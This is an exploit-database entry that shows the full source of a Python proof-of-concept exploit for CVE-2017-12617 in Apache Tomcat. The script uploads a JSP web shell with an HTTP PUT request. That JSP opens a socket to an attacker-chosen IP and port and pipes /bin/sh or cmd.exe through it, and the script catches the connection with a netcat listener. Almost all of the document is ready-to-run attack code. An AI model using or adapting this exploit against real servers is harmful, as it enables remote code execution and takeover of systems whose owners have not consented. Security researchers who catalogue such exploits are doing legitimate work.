Exploit database

GH-128080db652775ba976af26e73af4369

longwayhomie/cve-2017-12617

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2017-12617

25 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
longwayhomie/cve-2017-12617Revision 360fa6098990

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2017-12617.py

Python · 6,619 bytes
# Exploit Title: Apache Tomcat Remote Code Execution via JSP Upload 
# Date: 11.12.2021
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://tomcat.apache.org/
# Version Apache Tomcat 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81
# CVE: CVE-2017-12617
# Tested on: Apache Tomcat 8.0.24

# Vulnerability: If Tomcat has PUT option enabled, it is possible to upload own JSP shell and achieve reverse shell

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import os
import subprocess

banner = pyfiglet.figlet_format("CVE-2017-12617")
print(banner)
print('Exploit for CVE-2017-12617')
print('For: Apache Tomcat 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81')

class Exploit:

        def __init__(self, target_ip, target_port, localhost, localport):
                self.target_ip = target_ip
                self.target_port = target_port
                self.localhost = localhost
                self.localport = localport

        def upload_shell(self):
                payload="""
                        <b>Starting reverse shell...</b>
                        <%@page import="java.lang.*"%>
                        <%@page import="java.util.*"%>
                        <%@page import="java.io.*"%>
                        <%@page import="java.net.*"%>
                        <%
                          class StreamConnector extends Thread
                          {
                            InputStream aj;
                            OutputStream hv;
                            StreamConnector( InputStream aj, OutputStream hv )
                            {
                              this.aj = aj;
                              this.hv = hv;
                            }

                            public void run()
                            {
                              BufferedReader na  = null;
                              BufferedWriter jDf = null;
                              try
                              {
                                na  = new BufferedReader( new InputStreamReader( this.aj ) );
                                jDf = new BufferedWriter( new OutputStreamWriter( this.hv ) );
                                char buffer[] = new char[8192];
                                int length;
                                while( ( length = na.read( buffer, 0, buffer.length ) ) > 0 )
                                {
                                  jDf.write( buffer, 0, length );
                                  jDf.flush();
                                }
                              } catch( Exception e ){}
                              try
                              {
                                if( na != null )
                                  na.close();
                                if( jDf != null )
                                  jDf.close();
                              } catch( Exception e ){}
                                    }
                                  }

                          try
                          {
                            String ShellPath;
                        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                          ShellPath = new String("/bin/sh");
                        } else {
                          ShellPath = new String("cmd.exe");
                        }

                            Socket socket = new Socket( \"""" + localhost + """\", """ + localport + """ );
                            Process process = Runtime.getRuntime().exec( ShellPath );
                            ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
                            ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
                          } catch( Exception e ) {}
                                        %>

                """

                url = 'http://' + target_ip + ':' + target_port + '//revshell.jsp/'
                headers = {
                'User-Agent': 'Mozarella/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'close',
                'Content-Type': 'text/html;charset=UTF8',
                'Upgrade-Insecure-Requests': '1',
                'Cache-Control': 'max-age=0'
                }
                r = requests.put(url, headers=headers, data=payload)
                time.sleep(2)

                if (r.status_code == 201 or r.status_code == 204):
                        print("[*] Webshell payload has been created.")
                else:
                        print(r.text)
                        print("[!] There was a problem with uploading shell!")

        def get_shell(self):
                time.sleep(2)
                print("[*] Starting listener for reverse shell...\n")
                listener = subprocess.Popen(["nc", "-nvlp", self.localport])
                time.sleep(2)

                url2 = 'http://' + target_ip + ':' + target_port + '/revshell.jsp'
                r2 = requests.get(url2)

                if (r2.status_code == 200):
                        print("[*] Got shell!")
                        while True:
                                listener.wait()
                else:
                        print("[!] There was a problem with executing shell!")
                        print("[*] Killing netcat listener...")
                        listener.terminate()

def get_args():
        parser = argparse.ArgumentParser(description='Apache Tomcat RCE - CVE-2017-12617')
        parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
        parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
        parser.add_argument('-l', '--listen', dest="listen", required=True, action='store', help='Listening IP for rev shell')
        parser.add_argument('-P', '--Port', dest="port", required=True, action='store', help='Listening port for rev shell')
        args = parser.parse_args()
        return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.listen
localport = args.port

exp = Exploit(target_ip, target_port, localhost, localport)
exp.upload_shell()
exp.get_shell()